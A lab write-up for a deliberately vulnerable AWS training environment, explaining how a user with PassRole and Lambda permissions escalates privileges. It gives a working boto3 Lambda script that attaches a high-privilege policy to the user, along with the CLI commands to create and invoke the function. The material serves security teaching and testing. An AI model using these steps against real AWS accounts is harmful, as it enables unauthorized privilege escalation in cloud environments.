IAM Vulnerable

Write-ups for the vulnerable AWS environment featuring over 25 privilege escalation techniques provided by BishopFox.

15. Passing a role to a new Lambda function, then invoking it

Description

Users with the iam:PassRole, lambda:CreateFunction, and lambda:InvokeFunction permissions can escalate privileges by creating a new Lambda function that, when invoked, executes code that escalates the user’s privileges.

Requirements

The AWS account needs to contain at least an existing role that includes the iam:AttachUserPolicy permission, and lambda functions need to be allowed to assume this role.

Example

In the vulnerable scenario we have the user privesc15-PassExistingRoleToNewLambdaThenInvoke-user with the following policy attached:

By exploiting the PassRole permission, the user can create a function and assign it a higher-privilege role, such as privesc-high-priv-service-role. This allows the user to execute the function with elevated privileges and perform privilege escalation by adding a policy to themselves.

To accomplish this, the user first needs to create a local function. In this case, it is a Python script similar to the following:

import boto3

def lambda_handler(event, context):
    client = boto3.client('iam')
    
    response = client.attach_user_policy(
        UserName='privesc15-PassExistingRoleToNewLambdaThenInvoke-user',
        PolicyArn='arn:aws:iam::[YOUR-ACCOUNT-ID]:policy/privesc-high-priv-service-policy'
    )
    
    return response

Basically this script assigns a new policy to the user specified in the UserName attribute.

According to the AWS documentation, to create a Lambda function, the script must be zipped into an archive. This can be done using the following command:

$ zip function.zip lambda_get_privesc.py

The user privesc15-PassExistingRoleToNewLambdaThenInvoke-user creates the AWS Lambda function by entering:

aws lambda create-function --function-name startup --runtime python3.8 --role arn:aws:iam::[YOUR-ACCOUNT-ID]:role/privesc-high-priv-service-role --handler lambda_get_privesc.lambda_handler --zip-file fileb://function.zip 

Where:

  • function-name: is the name assigned to the Lambda function;

  • runtime: is the function's runtime;

  • role: is the role the function can assume when executed (PassRole required to perform this operation);

  • handler: is the name of the method within your code that Lambda calls to run your function. The format includes the file_name.method_name;

  • zip-file: is the path to the local zip file.

It may be required to set other parameters based on the context, such as region.

After the creation of the function, it can be invoked by entering:

aws lambda invoke --function-name startup output.txt

where output.txt contains the output of the Lambda function. After that we can easily verify that the user has escalated privileges by viewing the policies attached to themselves:

Last updated

Was this helpful?